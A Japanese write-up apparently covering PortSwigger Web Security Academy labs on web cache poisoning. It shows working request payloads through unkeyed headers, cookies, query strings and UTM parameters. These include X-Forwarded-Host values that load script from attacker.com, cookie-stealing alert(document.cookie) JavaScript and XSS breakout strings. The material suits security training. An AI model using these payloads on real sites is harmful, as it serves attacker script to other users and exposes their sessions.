PortSwigger - Web cache poisoning

7 min readPortSwigger#Web

Web cache poisoningとは

Webキャッシュに攻撃者が意図したレスポンスを保存させ、その後アクセスした他のユーザーにも、その汚染されたレスポンスを配信させる攻撃。

Web cache poisoningが成立する典型的な条件は、レスポンス生成には影響するが、キャッシュキーには含まれない入力(unkeyed input)が存在することです。

Progress
  • Web cache poisoning with an unkeyed header
  • Web cache poisoning with an unkeyed cookie
  • Web cache poisoning with multiple headers
  • Targeted web cache poisoning using an unknown header
  • Web cache poisoning via an unkeyed query string
  • Web cache poisoning via an unkeyed query parameter
  • Parameter cloaking
  • Web cache poisoning via a fat GET request
  • URL normalization
  • Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria
  • Combining web cache poisoning vulnerabilities
  • Cache key injection
  • Internal cache poisoning

Web cache poisoning with an unkeyed header

unkeyed header とは、レスポンス生成には影響する一方で、キャッシュキーには含まれていないHTTPヘッダーのことです。

今回のケースでは、X-Forwarded-Host がレスポンス生成に使用されているにもかかわらず、キャッシュキーには含まれていません。そのため、内容の異なるリクエストでも同じキャッシュエントリとして扱われます。

X-Forwarded-Host は、リバースプロキシなどが元の Host 情報をバックエンドへ伝えるために使うHTTPヘッダーです。

また、X-Cache: miss / X-Cache: hit を確認すると、レスポンスがキャッシュから返されたかどうかを判断できます。

このLabでは、script.src のホスト名がリクエストヘッダーの値をもとに動的生成されることが問題です。

<!-- victim.com body -->
<script type="text/javascript" src="//victim.com/resources/js/tracking.js">

本来、X-Forwarded-Host の値によってレスポンスが変化するのであれば、その値もキャッシュキーに含める必要があります。しかし、この環境では X-Forwarded-Host の有無にかかわらず同じキャッシュエントリを参照するため、攻撃者の入力を反映したレスポンスで通常ユーザー向けのキャッシュを汚染できます。

GET /
Host: victim.com

↓

GET /
Host: victim.com
X-Forwarded-Host: attacker.com
<!-- キャッシュが汚染され状態で正規ユーザがアクセス -->
<script type="text/javascript" src="//attacker.com/resources/js/tracking.js">
<!-- attacker.com/resources/js/tracking.js body -->
alert(document.cookie);

攻撃の流れ

攻撃者
  ↓
X-Forwarded-Host: attacker.com
  ↓
GET / でレスポンス生成
  ↓
<script src="//attacker.com/resources/js/tracking.js">
  ↓
レスポンスがCacheされる
  ↓
正規ユーザーが GET /
  ↓
汚染済みレスポンスを取得
  ↓
attacker.com の JavaScript をロード

Cookieの値がレスポンス本文に反映されているにもかかわらず、そのCookieがキャッシュキーに含まれていないケースです。

今回のリクエストでは fehost Cookieの値がレスポンス内のJavaScriptへ反映されます。そのため、この値を書き換えたレスポンスをキャッシュさせることで、正規ユーザーへ配信されるレスポンスを汚染できます。

<script>
	data = {"host":"0aae003204245c1480f0032900ca008d.web-security-academy.net","path":"/","frontend":"prod-cache-01"}
</script>
Cookie: session=FcTy954LRvK6ekyltQFLtonOY2PP3XcS; fehost=a"}%3balert(1)%3b+//

↓

<script>
	data = {"host":"0aae003204245c1480f0032900ca008d.web-security-academy.net","path":"/","frontend":"a"};alert(1); //"}
</script>

Web cache poisoning with multiple headers

X-Forwarded-Scheme は、クライアントがプロキシの手前で使用していたURLスキーム(http / https)をバックエンドへ伝えるHTTPヘッダーです。

元の script.src は相対URLになっており、この部分自体は安全に見えます。

<script type="text/javascript" src="/resources/js/tracking.js"></script>

X-Forwarded-Scheme を操作すると、バックエンドに「HTTPでアクセスされた」と誤認させ、HTTPSへの302リダイレクトを生成させることができます。

さらに X-Forwarded-Host を組み合わせることで、攻撃者ドメインへのリダイレクトを生成できます。この302レスポンス自体がキャッシュされると、同じキャッシュキーへアクセスした正規ユーザーにも攻撃者が指定したリダイレクトが返されます。

X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: http
HTTP/1.1 302 Found
Location: https://attacker.com/resources/js/tracking.js

攻撃の流れ

攻撃者
GET /resources/js/tracking.js
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: http

↓

Cache key:
example.com/resources/js/tracking.js
X-Forwarded-* が含まれていない

↓

保存されるレスポンス:
302
Location: https://attacker.com/resources/js/tracking.js

Targeted web cache poisoning using an unknown header

Vary レスポンスヘッダーは、指定されたリクエストヘッダーの値ごとに異なるキャッシュエントリを使用するようキャッシュへ指示します。

このLabでは script.src のホスト名が動的に生成されています。

<script type="text/javascript" src="//victim.com/resources/js/tracking.js"></script>

Vary: User-Agent が指定されているため、User-Agentごとに別のキャッシュエントリが作成されます。したがって、対象ユーザーのUser-Agentを特定できれば、そのユーザー専用のキャッシュエントリを狙って汚染できます。

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: User-Agent
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 6
X-Cache: hit
Connection: close
Content-Length: 5880

アクセスログなどから対象ユーザーのUser-Agentを確認し、同じUser-Agentで悪意のあるレスポンスをキャッシュさせます。その後、対象ユーザーが同じUser-Agentでアクセスすると、汚染済みキャッシュが返されて攻撃が成立します。

つまり、全ユーザーではなく、特定条件に一致するユーザーだけを狙ってキャッシュを汚染できる点がポイントです。

User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Safari/537.36
X-Host: attacker.com

Web cache poisoning via an unkeyed query string

Pragma: x-get-cache-key は、このLab環境でキャッシュキーを確認するために使用できるデバッグ用ヘッダーです。

ページ内のcanonical URLにはリクエストしたURLが反映されるため、クエリ文字列がレスポンス生成へ影響します。

<link rel="canonical" href='//0aa00019032e216480b862cf000800e2.web-security-academy.net/?test=tesa'/>

一方、キャッシュキーがパスのみを参照し、クエリ文字列を無視している場合、異なるクエリを付けたリクエストでも同じキャッシュエントリとして扱われます。つまり、攻撃者が細工したクエリ文字列をレスポンスへ反映させ、そのレスポンスを通常のパス用キャッシュとして保存できれば、クエリなしでアクセスした正規ユーザーにも汚染済みレスポンスが配信されます。

GET / HTTP/2
Pragma: x-get-cache-key
GET /
GET /?hack=hack

↓

# クエリをつけてもPATHが同じ
X-Cache-Key: /$$

このLabではキャッシュTTLが長いため、検証時に Origin ヘッダーを変更してキャッシュエントリを分離します。

この環境では Origin がキャッシュキーに含まれているため、既存キャッシュへ影響を与えずに検証できます。なお、実際の攻撃では被害者のリクエストと同じキャッシュキーに到達できる必要があります。

X-Cache-Key: /$$origin=tee.com

XSS用クエリを作成する。

GET /?test='/><script>alert(1)</script>

Web cache poisoning via an unkeyed query parameter

UTMパラメータは、Webサイトへの流入元やキャンペーンなどを計測するためにURLへ付与されるクエリパラメータです。たとえば「どのメディア・広告・キャンペーンからアクセスされたか」を識別するために使用されます。

utm_source, utm_medium, utm_campaign, utm_content etc

キャッシュ実装によっては、すべてのクエリパラメータを無視するのではなく、特定のパラメータだけをキャッシュキーから除外する場合があります。レスポンス生成には影響するのにキャッシュキーには含まれないパラメータが存在すると、Web cache poisoningに悪用できます。

GET /?utm_content=t HTTP/2
Pragma: x-get-cache-key

↓

# 他のクエリはキャッシュキーに設定されるが、utm_contentのみキャッシュキーに設定されない設計になっている
X-Cache-Key: /$$

XSS用クエリを作成する。

GET /?utm_content='/><script>alert(1)</script>